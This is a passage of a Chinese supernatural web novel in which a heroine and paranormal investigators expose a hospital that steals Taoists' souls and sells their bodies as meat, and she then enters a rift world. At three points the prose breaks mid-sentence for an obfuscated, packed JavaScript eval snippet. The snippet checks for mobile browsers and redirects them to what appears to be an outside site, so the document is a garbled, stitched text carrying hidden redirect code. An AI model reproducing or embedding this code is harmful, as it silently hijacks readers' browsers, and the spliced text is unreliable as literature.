这腔调和声音,庄辰岚感觉有些熟悉,好像在哪里听过,待看清他的脸时,她愣住了——是电梯里那个白发男人。 他靠在墙上,双手交叉:“我们是不是见过?这位小姐哪门哪派,哪个机构,哪个部门?” 庄辰岚道:“你是那个小予知。” “什么小予知,别跟那条臭蛇学,我姓迟!” 庄辰岚不答反问:“刚才是你在帮我吧?” “不然呢,知道了还不跪下来感谢本王的大恩大德。” 本王……庄辰岚心道,他不会也加入那个画风诡异的国风牛郎店了吧。 走廊逐渐亮堂起来,庄辰岚这才注意到他的舌头居然是黑色的,不仅如此,上面还有一颗白金色的钉子,在乌黑的舌头上格外显眼。 庄辰岚道:“我只是一个普通市民。” “普通市民?”迟予知道,“不像啊,你身上的味道。” 难不成是看出自己走过阴? 庄辰岚道:“无论我之前做过什么,现在都只是一个普通人。” “好吧好吧,”迟予知道,“普通人是不是有帮助国家公务人员执行工作的义务来着?” 他从藏蓝色开衫口袋里掏出一个黑色皮夹,向庄辰岚展示,上面贴着一张一寸蓝底照片,下面是: 天问超自然事件管理局 调查员 迟予知 庄辰岚一惊,原来天问真的存在! 而且跑光台这趟究竟有多少惊喜,怎么连天问的人都遇上了。 庄辰岚问:“你要我做什么?” 迟予知指了指她的斧头:“借这个一用。” 庄辰岚看了看手中的斧头:“能借,但要帮我个忙。” 她指指病床:“帮我找到这个人的本体。” 迟予知一脸不可置信:“你蹬鼻子上脸是吧,帮你收拾这群人还不够吗?” “这些人我自己都能解决。” 迟予知冷笑道:“那就别怪我抢?” “你可以试试。” 两人僵持了几秒,迟予知突然笑了起来,苍白阴鸷的脸上居然出现两个浅浅的梨涡:“不就找个人吗,简单。” 他打了个响指,控制宋时明的红衣厉鬼就把他拖到两人面前。 庄辰岚也没犹豫,直接问道:“这人你藏哪去了?” 宋时明颤抖着问:“你是谁?” 迟予知道:“别废话,问什么答什么。” “我只是一个医生,我什么都不知道。” “还装是吧?” 迟予知抬了抬手,抓住宋时明的红衣厉鬼便将盖着漆黑长发的脸凑过来,朝他吐出一股黑气,宋时明似乎这才终于看见了让自己动弹不得的幕后黑手,顿时吓得尖叫起来:“鬼!有鬼啊!” 厉鬼黑色的长指甲浅浅插进宋时明的脖子里,庄辰岚道:“快说把人藏哪儿了,她还活着吗?” 宋时明紧闭双眼,大喊道:“活着!活着!太平间!在太平间!我记得在第二排,具体第几个忘了,别杀我!我都说了!” 庄辰岚立马跑向太平间,她回头对迟予知道:“其他人放了,医生带上。” “你倒使唤起我来了。” 庄辰岚顺着医院的指示标牌来到太平间,在第二排一个柜子一个柜子的拉开检查。 打开第一个柜子时庄辰岚就被吓了一跳,冷冻柜里的不是完整的尸体,而是一个个的尸块,大小和形状似乎有点眼熟,来不及细想,她又拉开下一个,这个柜子里全是手掌,胳膊和小腿,然而奇怪的是它们的手指全都不翼而飞。 跟开盲盒似的,庄辰岚不合时宜的想。 幸运的是庄辰岚没开几个就开到隐藏款,方不圆躺在冷冻柜里,眉毛上都挂了霜。 庄辰岚赶紧把她抽出来,方不圆的身体硬硬的,庄辰岚把手指探到她的鼻子底下,还有呼吸,但已经非常微弱了。 迟予知跟了上来,他背后的红衣厉鬼飘在空中,胳膊下夹着已经被吓晕的宋时明。 庄辰岚把自己的外套脱下来盖在方不圆的身上,迟予知甩手一道符:“火符,给她烤烤。” 符纸粘在方不圆身上,效果立竿见影,庄辰岚感觉自己身上都暖烘烘的。 她想打120,却发现手机不翼而飞了,仔细一摸兜,老家大门的钥匙也不见了,不知道是什么时候掉的。 庄辰岚道:“快给别的医院打电话,这人喝的酒有毒。” “啊?”迟予知把身体撑在冷冻柜的门上,“中毒?这怎么看都是掉魂儿了吧。” 说完,他掏出几张黑色的符纸,上面是金色的符文:“这位怎么称呼?” 庄辰岚道:“方不圆。” 话音刚落,符纸上下翻飞,发出黄色的光,在方不圆周围旋转,慢慢燃烧殆尽。 方不圆的脸肉眼可见的红润,甚至小声地咳嗽起来。 “她怎么还不醒?” “哪有这么快啊大姐。”迟予知道,“这下能借了吗?” 庄辰岚道:“我跟你一起回去。” “那就甭废话了,赶紧走吧。” “我要等方姐醒过来。” 迟予知烦躁道:“那把她也带上。” “不行,她现在需要休息。” 迟予知怒了:“你耍我是吧,白让我给你干活。” “哈哈哈哈哈哈…” 一阵笑声打断了二人的对话,庄辰岚和迟予知不约而同朝声音的方向看去,宋时明已经醒了,他被红衣厉鬼夹在胳膊底下,却一副癫狂的样子。 迟予知踹了他一脚:“没事儿笑你妈笑,吓我一跳。” 这一脚看起来不轻,宋时明吐出一口带血的唾沫:“无知的愚民,你知道我是谁吗?” 迟予知来精神了:“你知道我是谁吗!要搁以前,你们全家出门见到我都得立马跪一溜儿磕头!” 说着,迟予知就把脚踏在宋时明脑袋上狠狠往下踩。 宋时明不甘示弱,扯着嘴角道:“你们也就这会儿能狂了,等我们教主成了仙,有你们好看的!” 迟予知毫不掩饰自己的嘲笑:“你们?成仙?哈哈哈哈哈哈…” 宋时明满脸通红,也不知道是气的还是羞的,他咆哮道:“闭嘴!有什么好笑的!” 迟予知道:“想成仙是吧,我先送你上去看看。” 他扬了扬手,红衣厉鬼黑越越的嘴咧到耳朵,庄辰岚看见她的上颚密密麻麻全都长满了尖牙,马上就要把医生的头咬下来。 “救命啊啊啊啊啊!!” 庄辰岚敏锐的捕捉到了“教主”这个词,马上出声阻止:“先别杀他!这人跟长生殿有关。” 宋时明临鬼门关一脚又被拽了回来,他黑发散乱,满脸通红地喘着粗气。 庄辰岚把外套垫在方不圆身下,走向宋时明道:“你认识唐金麟?长生殿跟你的圣祐医院什么关系?之前的道士是不是你们合作杀的?“ 宋时明嘴硬道:“唐金麟是谁,我不认识,你说的这些...我一个都听不懂。” 迟予知道:“虽然我也听不懂,但我不介意帮你撬开他的嘴。” “你也听不懂?” 庄辰岚混乱了,难道他不是天问派来调查长生殿道士死亡案和客人失踪案的?话说他借斧头是为什么?现场的三人,难道脑回路完全对不上吗? 思考片刻,庄辰岚决定先跟随自己的思路。 “长生殿请过的道士都是被你杀死的吧,用跟今天同样的方式,把泥巴做的替身放出去,再扣下本体,你们为什么只杀道士?” 迟予知凑向宋时明:“你们还干这种缺德事儿。” 宋时明闭上眼睛,似乎不想再屈尊理会这两个人:“你们对罗浮真君一无所知。” 又是罗浮真君。 庄辰岚道:“你信的哪门子真君,罗浮真君可没让你们杀人。” “你跟他废什么话。”迟予知扯着他的头发拽过来,“再不说我现在就把你送去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038346|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见那个什么真君。” “呵呵呵,哈哈哈哈哈,”宋时明一边狂笑,一边艰难道:“你们…就永远活在…梦里吧!” 他不断的吐出黑血,同时大声喊道:“真君显灵,赐我清醒!真君降世,赐我长生!真君——”话还没喊完,他就脖子一歪,不再出声。 迟予知赶紧把他扔到一边:“嘴里□□了。” 庄辰岚咬了咬牙,唯一的线索就这么断了,但现在可以肯定的是,圣祐医院与长生殿之间肯定有千丝万缕的联系。 “哪来这么大声啊?”方不圆迷迷瞪瞪从地上坐起来,“这是哪啊?” 庄辰岚赶在她视线清楚之前把冷冻柜的柜门都关上。 方不圆坐在地上,揉了揉眼睛:“小岚,这是哪啊?” 迟予知替她答了:“太平间。” “啊……什么?!”方不圆整个跳了起来,但又因眼前发黑跌倒。 方不圆道:“我怎么会在太平间?我死了吗?” “回头再给你解释,方姐,你现在感觉怎样。” “还行,就是刚才做法的时候不太好,感觉什么东西要从头顶抽出去,疼的厉害。” 迟予知道:“那就是魂儿飞了,你不是道士吗,这都不知道。” 方不圆毫不掩饰:“我是假的。” 迟予知总是挂在脸上的那副游刃有余的戏谑表情似乎裂了一下。 既然方不圆没事,那就只剩庄海月那边了。 庄辰岚道:“迟予知是吧,我现在要去长生殿,既然你也要去,那我们多少可以算一路人,但是我发现咱们两边调查的似乎不是同一件事,不如现在分享一下情报。” 迟予知也不废话:“长生殿客人失踪案,听说过没?” “听说过。” “长生殿里出现了狭间,失踪的人就在里面。” 庄辰岚吃了一惊:“狭间——真的存在?” 方不圆道:“这不是旧土里的怪谈吗?” 迟予知道:“既然你们都知道那就好办了,就结论来讲它真的存在,我们就是负责消除狭间的。” “刚才你在酒店掏出那把斧头的瞬间,”迟予知指了指庄辰岚背后的斧柄,“狭间就出现了,所以现在需要那把斧头。” 方不圆喊道:“你骗鬼呢,写科幻小说呢?” 迟予知也喊:“你给我闭嘴,知不知道你这条命谁救的!” 庄辰岚道:“说下我这边的情报,长生殿老板唐金麟因为这件事找了很多道士来做法,但这些道士从长生殿离开后就都离奇死亡了,凶手就是唐金麟和宋时明,他俩里应外合,把本体和替身调包,目的是获得长生,刚才宋时明一口一个成仙,所以很可能与某些邪教有关。” 迟予知道:“他不都说是因为那个罗浮真君了?” 庄辰岚斩钉截铁道:“不可能,罗浮真君可是正神,怎么会让他们去杀人?最大的可能就是打着真君旗号的二流邪神。” 方不圆突然道:“什么意思,你是说那里死过二十多个道士?我怎么不知道?” 庄辰岚震惊了:“你怎么可能不知道?海月没跟你说?” 方不圆也急了:“没说过啊!她就只跟我说了做法流程!” 庄辰岚道:“你再仔细回忆下,海月说她今早就全都告诉你了。” “绝对没有这回事!要是真的讲了,我绝对马上就走了,我怎么可能为了那点钱冒险啊!” 难道庄海月就是为了避免这种情况才隐瞒了部分内容? 但她完全可以实话告诉自己啊,为什么要撒谎? 方不圆道:“话说回来,师父去哪了?” “还在长生殿。” 她问迟予知道:“跟你一起的那个蛇妖在哪?” “在酒店赶人,消除狭间时为了防止误伤普通人,需要清场。” 庄辰岚心道,希望庄海月不会被当成可疑人员当场击毙。 迟予知道:“行了别废话了,快走吧。” 三人从太平间的后门出去,没想到这里竟还有一排小小的厂房,相同的纸盒堆积在四周,像是某种产品的包装盒。 方不圆小声嘀咕:“怎么在医院后面建食品加工厂啊。” 庄辰岚随手捡起一个纸盒,只见上面印着三个大字“鳄鱼肉”。 14.长生殿9 看到这三个字的瞬间,庄辰岚脑中嗡的一下。 消失的本体,太平间里的碎尸,光台产的鳄鱼肉…这些事件如同一个个珠子,在庄辰岚脑中不断串联。 “原来如此,原来如此...” 根据庄海月的推算,长生殿准备的用于做法的酒有问题,所以道士喝完之后都会出现抽搐或晕厥,这时候酒店人员就会“好心”把人送到圣祐医院,由于圣祐距离长生殿最近,所以没有人会怀疑。 而且唐金麟要求做法在他的办公室进行,这里正是镇魂阵法所在地,在此地做法,既能镇魂,又能保密,一箭双雕。 就这样,没了灵魂的道士被送到医院后,又被宋时明用泥巴做了替身,由于他能力不够,所以替身并不能像正常人那样长时间生活,出去没几天就死了,但这几天已经足够为唐金鳞他们撇清嫌疑了。 唐金麟他们只要魂魄,剩下的本体就被他们做成腌肉,打着“鳄鱼肉”的旗号售卖,让所有市民替他们毁尸灭迹。 这些能人异士肯定有无数驱鬼避邪的知识和法宝,但没想到最终却死在人类的手上。 庄辰岚想到了张爷爷,他不知道这是人肉,还把它当成好东西,自己不舍得吃,全都留给了孙子,昨晚排队的那些人,他们中肯定也有不少人想买来给自己的父母或孩子...... 想到这,庄辰岚不禁一阵反胃。 但现在仍然不解的是,唐金麟他们为什么只要道士的魂魄,不惜为此演一场开坛请神的把戏。 这些疑团,估计只有找到本人才能破解了。 庄辰岚将推理结果告诉二人后,方不圆却说什么都不愿意再回去了。 “根本就是个蛇窝,我才不要回去呢。” 迟予知:“里面只有姜福子一条蛇,应该算不上蛇窝。” “你别打岔,我只是形容!” 庄辰岚道:“那你先找个地方休息,事情结束后我去找你。” “那,那你可要小心啊。” 她打车走后,庄辰岚向迟予知道:“走吧,你车呢?” “什么车?” 庄辰岚有种不好的预感:“你怎么来的,飞来的?” “我趴那辆救护车顶上来的。” “。” 怪不得中途听见咚的一声。 庄辰岚无语道:“我们也打车吧。” “打什么车,有这时间跑都跑到了。” 迟予知喊道:“功曹。” 话音刚落,一个八尺多高,周身散发黑气的魂体就浮现在二人面前,它身穿红色道袍,头带斗笠,脸上盖着黄符面罩。 “介绍一下,这位名叫功曹,恶鬼道来的。” 擅长御鬼,甚至只需要唤句名字。庄辰岚猜测他舌头上的钉子会不会与此有关。 功曹一手抓着庄辰岚,一手抓着迟予知,直接飞了起来,庄辰岚希望这场景不会给某个不慎看到的倒霉蛋留下心理阴影。 趁此时机,庄辰岚问道:“你们怎么消除狭间?” 迟予知道:“狭间出现的原因一般是异世界的东西到了这个世界,给它还回去物归原主就行了,难的是让狭间出现。” “那你们是怎么做的?” “就等啊,什么时候出现什么时候干活。” 真是朴实无华的方法。 庄辰岚又问:“为什么我的斧头能召唤狭间?” 迟予知道:“狭间给人一种特殊的感觉,那是完全不属于这个世界的感觉,然后这种感觉同样出现在你的那把斧头上。” “你的意思是,我的斧头是别的世界的东西,需要还回去?” 迟予知咧嘴一笑:“舍不得的话,我把你也送过去。” 庄辰岚现在没心情跟他贫嘴,她不解的是,这把斧头明明是以前家里杀猪用的,怎么就成另一个世界的东西了? 但这样一来,似乎又能解释它为什么有这么大的威力了。 庄辰岚道:“虽然有些舍不得,但是我说到做到。” 迟予知一笑,露出两个梨涡,竟平添几分少年天真:“不错嘛,欣赏你一秒。” 庄辰岚道:“刚才听你说狭间,感觉你们天问也不怎么了解。” “这话没错,就算是我们老大也对此知之甚少。” 庄辰岚道:“为什么告诉我这么多。” 迟予知笑道:“我喜欢分享,不行吗?” 功曹很快飞到了长生殿,只见酒店前的花园与楼后的人造海滩上都挤满了人。 迟予知道:“那条臭蛇效率还挺高。” 功曹带着二人跃上唐金麟办公室所在的18层,没想到主道上居然跪着一排妖魔鬼怪,都是昨晚集会内的成员,他们反手被绑,手腕上闪着青绿色的光,个个敢怒不敢言。 庄辰岚仔细一看,其中有唐金麟,元秘书,再一看,庄海月居然也在其中。 庄海月一看到她就大喊道:“岚岚,你可要给我报仇啊呜呜呜。” “又不想要舌头了,阴阳头?” 庄海月最里层的头发染成了蓝色,听到这个绰号,她大喊道:“你懂什么,这叫时尚!而且你怎么跟变了一个人似的,刚才在电梯里还勾引我去指名你呢,我跟你讲我是真的打算去的!你就这么对你的恩客?!” 裹着黑缎旗袍的男人从一个房间里踱步出来,正是姜福子。 “真的吗?如果你去了并且指名我并且开个香槟后我会好好道歉的。” 看见迟予知,他道:“可算回来了,还以为死外边了。” 迟予知从功曹的手臂上跳下来,那红色身影马上如雾般消失了,他道:“少废话,办怎么样了?这几个人怎么回事?” 姜福子道:“可疑人员。” 庄海月喊道:“明明是你更可疑吧!” 庄辰岚对姜福子道:“怎么判断可疑不可疑的?” “我放了个着火的幻象,整个酒店的人就一溜烟都跑了,能住得起这酒店的,肯定不在意房间里那三瓜俩枣,就这些不要命往里冲,还专门往这层跑的,”姜福子轻轻踢了踢旁边的一个中年男人,“难道还不可疑吗?” 庄辰岚点点头:“确实可疑。” 唐金麟喊道:“什么狗屁天问,你知不知道我认识你们领导,信不信我让你死都不知道啊啊啊!!” 他话还没说完,一条深绿色的蛇就咬住了他的舌头,唐金麟的嘴里瞬间鲜血横流,舌头和嘴唇也泛起乌黑。 姜福子假装捧场道:“好厉害啊,奖励你一个蛇吻。” 庄辰岚指了指庄海月:“把她放了。” 姜福子抬了抬手指,庄海月手上的绿光便瞬间溃散,她急忙站起来跑到庄辰岚身边,看到唐金麟的下场,她忍住没将辱骂脱口而出。 迟予知朝庄辰岚背后的斧头歪了歪头:“借我用用。” 庄辰岚把斧头扔给迟予知,后者把它朝向唐金麟办公室的大门,喊道:“开!” 众人都闭紧了眼睛,准备迎接地动山摇,谁知走廊竟无事发生,一片寂静。 庄辰岚被尴尬笑了。 迟予知把斧头扔回来:“笑个毛啊笑,你来试试。” 庄辰岚接过斧头上前一步,她深吸一口气,慢慢举起斧头。 众人目不转睛地盯着她,一种奇异的感觉顿时浮上所有人的心头,庄海月的手指在袖子里飞速掐算着。 庄辰岚学着迟予知的样子,大喊一声:“开!” 刹那间,办公室的大门发出耀眼的红光,整栋大楼再次摇晃起来。 唐金麟大喊道:“你们到底在做什么啊?!” 那一点红光慢慢扩大,木质大门仿佛被它侵蚀一般逐渐消失,看来已经成功了,这就是传说中的狭间吗? 庄辰岚不想深度思考为什么只有自己能打开狭间的问题,剩下的应该是天问的工作,她刚想拉着庄海月离开,就听见门内传来咯吱咯吱的声音。 慢慢的,门内的声音越来越大,除了咯吱咯吱声,隐约还能听见金属摩擦的声音。 姜福子不由后退一步:“这什么啊?” 突然,一团黑雾从门内冲出,顷刻间幻化为无数焦黑的骷髅,它们介于无法形容的虚与实之间,上半身为实体,下半身却是黑色的浓雾,骷髅们身上挂着土黄色的破军装,手里拿着破旧的步枪。 迟予知吹了声口哨,骷髅们先是顿了顿,随后便发起狂来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16038347|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们冲向众人,挥舞着步枪上的刺刀,来不及逃跑的人顷刻间便身首分离,鲜血四溅,眼见那些被吓的瘫软在地的人也要横尸当场,庄辰岚立刻甩出斧头,飞舞的斧头划出一道抛物线,将路线内的骷髅全部打散了。 迟予知拇指与中指微捻,施了个手印,原本黑不见底的瞳孔突然变成诡异的鲜红色,以他为中心的区域迅速漫起黑色的烟雾,两只八尺多高的鬼魂在雾中逐渐显出形来。 其中一只穿着清代官服,名为“赤魃”,他甩出如剑般锋利的血红长舌,黑色骷髅便瞬间被消灭了一半,另一只就是功曹,他如闪电一般在骷髅群中穿行而过。 迟予知夺过庄辰岚手中的斧头,趁此机会跑向狭间入口,却发现自己仿佛被看不见的屏障阻挡,无法进入。 姜福子以一把金扇为刃,边打边跑,到了门前也尝试往里进,但同样,他也无法靠近一步。 就在这时,门内又冲出一股黑雾,两人赶紧闪开,一转眼,原本快被消灭的黑色骷髅又成倍的增加了。 “妈的,没完没了啊。”迟予知甩出几十道黑符组成法阵,红光四起,黑色骷髅被封印在里面,它们疯狂的撞击屏障,这个阵法眼看撑不了多久。 迟予知道:“姜福子,这怎么回事?” “你问我我怎么知道?奇怪,之前从来没遇到过这种情况。” 庄海月蹲在墙角:“呜呜呜,我们不会要死了吧。” 就在这时,一根细细的金线从狭间入口处伸出,它不断延长,最终连到了庄辰岚的手指上。 似是受到了某种感召,她开始不由自主地往前走,随着她的靠近,气若游丝的金线逐渐变宽,流淌。 庄辰岚心脏跳的极快,她着迷般看着上面流水般的金光,不觉已经走到了门前,就在这时,一股大力将她猛地拽进狭间内。 庄辰岚甫一进去,走廊的黑色骷髅便随之消失,庄海月冲到入口处,原本闪亮的红光已经变得暗淡,她满脸担忧,也试图往里进。 迟予知道:“别白费力气了,入口已经关闭了。” “这都是什么啊?!”唐金麟瘫坐在血泊中,大家都没想到他居然能活下来。 进入狭间并没有庄辰岚想象中时空穿梭的感觉,她仿佛只是被门槛绊了一下,等站稳后便发现自己来到了一个陌生的走廊。 咚的一声,她发现自己那把斧头也被吸了进来。 这里的地板焦黑,墙壁上也有火烧过的印记,走廊有三人并排的宽度,长不见底。 庄辰岚左侧每隔几米就有一个门,她随手打开距离最近的一个,里面是实木圆桌和雕花椅,有点像是饭店的装潢。 庄辰岚看向右侧,这边是雕花栏杆,隔着栏杆往外看,远处白茫茫一片,像是游戏里未加载的地图。 庄辰岚顺着走廊往前走,每路过一个门就顺手打开,所有房间都像是复制粘贴一般——最中间是一个圆桌,周围围着一圈椅子。 不知走了多久,前方仍是没有尽头的样子,庄辰岚像是想到了什么,猛一转头,一个焦黑的面孔就占据了她的视线。 众所周知,就算再胆大的人也受不了跳脸杀,庄辰岚一口气没上来,连忙后退,这才发现那是一具倒吊的尸体。不仅如此,这边的走廊也无尽延伸起来,而且每隔大约两米都有一具同样的尸体,他们的膝弯挂在横梁上,呈倒挂金钩的样子。 尸体身上挂的衣服呈火烧后的焦黑色,隐约可以看出是现代服饰,有一具尸体脖子上还挂着长生殿的房卡,看来他们就是那些失踪的客人了。 军装,大火,庄辰岚突然觉得有些熟悉,好像在哪儿听过这个组合。 没等她思考多久,这些尸体突然浑身着起火来,他们尖叫着在火中把身体蜷成一团,就像挂在屋顶的一盏盏吊灯。 火焰驱散了栏杆外的白雾,庄辰岚小心避开这些火球,来到栏杆处眺望。 外面的场景已经清晰可见,她发现自己原来处于这栋建筑的二楼,楼下是数张桌椅,看这摆放方式,是家饭店无疑。 饭店?庄辰岚脑海里闪过什么东西,她终于想起来了方不圆跟自己讲过的那个军阀故事 ——难不成这里是八仙饭店?! 15.长生殿10 庄辰岚想去楼下探索,她已经受不了这里的高温了,然而环顾一周,她并没有看见楼梯或绳子之类的东西,她又看了看楼下,直接翻身跳了下去。 两层楼之间的高度并不高,落地时间本该很短,但庄辰岚却觉得自己一直往下掉,与此同时,周围的景物也如刷新一般迅速变化,就在庄辰岚思考自己会不会被摔死时,她终于踩到了地面。 抬头一看,前面是巨大的戏台,这是民国饭店的常见设计,为的是让顾客老板们一边吃饭一边听戏。 没想到自己居然到了刚进酒店大门的地方,看来这里不在正常时空逻辑的统治之下。 “你终于回来了。” 突然的声音又让庄辰岚警戒起来,她忍不住道:“你们就这么爱突脸吗?” 可朝声音的方向看去,她却并没有看见什么人。 她又走近几步,这才发现出声的竟然是墙壁上的一道影子。 她一开始还以为是自己的影子,因为这身形与她十分相似。 人影开口说话,但语调宛如机械一般,好像没有灵魂的程序:“你的东西,我还给你。” 庄辰岚站在原地:“我的东西?我的什么东西?你是谁?我们见过吗?” 一个木盒出现在两人面前:“就是这个东西啊,阿瞒。” 听到这个名字,庄辰岚震惊的连呼吸都忘了——它居然知道自己的小名! 与此同时,她的头突然像通电般疼痛起来,一些画面在她脑海中闪过,但却宛如梦的碎片,提取不到什么信息。 她用力锤了锤自己的脑袋,试图缓解疼痛。 庄辰岚道:“这里是不是八仙饭店?你为什么把我拽进来?我要怎么出去?” 影子的语调依旧平稳单一:“打开这个盒子,你就知道了。” 打开盒子?庄辰岚心想:会是陷阱吗?不会打开盒子就变焦尸了吧? 影子似是看出了她的想法:“那些焦尸并非这个领域的主人,所以得到了惩罚。” “你的意思是我是这个领域的主人?这怎么可能,我根本什么都不知道。” 影子道:“打开这个盒子,你就知道了。” 又绕回去了。 僵持了半天,庄辰岚觉得这样下去也不是办法,于是她大步流星地走上前去,打开了盒子。 木盒打开后,里面并没有如庄辰岚想象般放出毒气或暗箭之类的东西,但也并不意味着没有更糟糕: 盒子里静静的躺着一把钥匙——庄辰岚家大门的钥匙,刚刚在圣祐医院消失的那把钥匙。 庄辰岚惊讶的把它拿出来举到面前:这是一个长条铜钥匙,现在基本已经绝迹了,只有南华村作为政府开发的旅游景点,为了保持建筑原样,不能随意更换老式的门锁,再加上庄辰岚不常住在老宅,她这才一直使用这种古董钥匙,而且最重要的是,她昨天还在用这把钥匙开锁,根本不可能认错。 更让她震惊的是,木盒里除了钥匙,还有一个卷轴,但庄辰岚根本没见过这个东西。 她拿起卷轴,第一感觉就是它沉甸甸的,重量和材质都不像是纸,更像杀猪剥下来的猪皮。 庄辰岚解开皮卷上的麻绳,将它整个摊开,卷轴上排列着看不懂的文字和符号,乍看之下像甲骨文等原始象形文字,却混杂着类似阿拉伯字母的表音文字,无一例外全都十分陌生,不像庄辰岚知道的任何文字体系。 她道:“这上面写的什么?” 影子道:“我不知道,这是你的东西。” 庄辰岚不再理他,又重新仔细看了一遍,这些文字和符号狂乱又阴森,长久地注视竟有一种如坠冰窟之感,她遏制住内心升腾起的不详的感觉,在卷轴的最后,她终于发现了一个熟悉的地方——那是一个红色的蝴蝶形状的符号。 再靠近仔细一看,她发现这个所谓的蝴蝶其实是数只不同手势的人手,它们或大或小的摆在一起,远看像一个蝴蝶的形状,而且这些手势,跟庄家祠堂里罗浮塑像背后的手势一模一样。 血红色的蝴蝶被刻进皮革,庄辰岚莫名感到有些毛骨悚然。 为什么又是罗浮真君? 庄辰岚道:“你说我看了盒子就会知道真相,怎么我还是一头雾水?” 影子道:“我不知道,这是你的东西。” 庄辰岚气极反笑:“那你说我是什么时候给你的?” “一个时辰之前。” “哈?你疯了?梦到哪句说哪句?” 但转念一想,一个时辰之前,差不多就是她发现自己丢掉钥匙的时候。 但这怎么可能,她一个时辰之前一直在处理方不圆的事,迟予知也是目击证人。 影子道:“你为什么这么快就忘记了。” “我根本就没做过。” 庄辰岚心道,这地方如此诡异,这个影子说出一些疯话也正常,不能拿正常人的逻辑去思考,当它信口胡说就好。 谁知影子接下来的话更让她震惊,它道:“现在能放我走了吗?” 它说的都是我的词! 庄辰岚道:“这话应该我来说吧?不是你把我拉进来的吗?” 话音刚落,整个空间便突然开始晃动,墙壁上出现了裂纹,影子也逐渐开始变淡,庄辰岚连忙喊道:“别走,我还有话问你!” 可整个世界的崩塌仍未停止。 “停下!告诉我你到底是谁!” 庄辰岚还没来得及奔跑,脚下的土地就突然崩塌,她瞬间开始自由落体起来。 整个世界变成了无数碎片,它们化为蝴蝶的形状,纷纷朝庄辰岚这边飞来。 万蝶过境的场面本该美丽无比,如果它们不是直冲自己而来的话。 庄辰岚下意识护住头部,举起斧头抵挡,等了半天,好像什么都没发生,于是她慢慢睁开眼睛,却被眼前的景象惊呆了: 分不清是这些蝴蝶主动撞进斧头,还是斧头将这些蝴蝶吸收,一时间,这把无比普通的铁制斧头竟发出耀眼的红光,仿佛被这红光重新锻造一般,斧身慢慢呈现出莹润的血色,比玉石华丽,比宝石明透。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046681|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 无数的蝴蝶还在源源不断地飞来,斧头内部慢慢出现了红色的脉络和肌肉纤维,庄辰岚莫名觉得这把斧头像是有了自己的生命一般,她甚至看见了斧头里面跳动的红色血管,血液流动的热度从斧柄传向手心。 庄辰岚突然觉得十分反胃,立刻就想把它扔出去,这把斧头仿佛感知到了她的想法,竟忽然变作一个血色的手镯,套在了庄辰岚的手腕上,怎么都拿不下来。 紧接着,一个名字蓦地出现在她脑海——“裂骨”,这把斧头的名字。 咚的一声,庄辰岚掉在了地上,来不及揉一揉屁股,她迅速站起来伸着手开始奔跑,试图抓住哪怕这个世界的一点碎片。 下一秒,手上传来软乎乎的触感,迟予知苍白的脸出现在眼前,他圆睁着眼睛,看着非常纯良。 迟予知的脸看起来白得像死人一样,没想到脸颊肉竟意外好捏,庄辰岚没忍住又捏几下。 本来是想抓狭间来着,谁成想抓你脸上了,你看这事儿闹的。 当然这句话庄辰岚没说出来。 迟予知马上后退挣脱她,喊道:“你从哪冒出来的,不对,你怎么进去的?” 庄辰岚揉了揉太阳穴,信息量太大,她现在很想自己消化一下。 庄海月道:“她怎么看都像是被吸进去的吧。” 姜福子走过来:“狭间消失了。” 经他一提醒,大家都发现原本办公室门上暗淡的红光已经彻底无影无踪了,酒店完全平静下来,除了地上躺着的尸体,这里跟其他楼层没什么两样。 迟予知道:“你把斧头放回去了?” 庄辰岚抬手看了看右手腕,上面仍然套着一个血镯,但这确实又不是斧头,庄辰岚不知如何回答。 姜福子道:“狭间都没了,看样子是放回去了。” 迟予知又问:“你之前去过狭间吗?” “没有。” 姜福子笑道:“第一次独自去狭间就能全身而退,有没有兴趣来天问任职?” 庄辰岚道:“现在几点?” 庄海月道:“从你进去开始到现在,只过了二十分钟。” 地板上的血迹还是红色,看来确实没过多长时间。 庄辰岚在里面也差不多是二十分钟,由此可以判断狭间里的世界跟现实世界的时间差不多是一致的。 一想到狭间,庄辰岚就开始头疼起来,那个影子究竟是什么,那个跟光台地方传说高度相似的饭店又是怎么回事,还有那个木盒里的东西——对了,那个木盒还在吗?庄辰岚赶紧摸了摸兜,碰到了硬硬的一角。 庄辰岚刚要把它拿出来,办公室的大门“砰”的一下弹开,把在场所有人吓了一跳,随后,一股浓烈的血腥气传到每个人的鼻子里。 办公室内透出诡异的的红光,庄辰岚立刻向里走去,没想到唐金麟却突然暴起,他不顾双手还被绑着,也朝这边冲了过来,一边跑一边大喊:“快滚开!不许进!” 注意力全在门内的姜福子被唐金麟狠狠一撞,竟是没拦下来。 16.长生殿11 庄辰岚转头看见这个张牙舞爪的人,不慌不忙的往他膝盖上踢了一脚,原本势如虎狼的唐金麟瞬间摔了个狗啃泥。 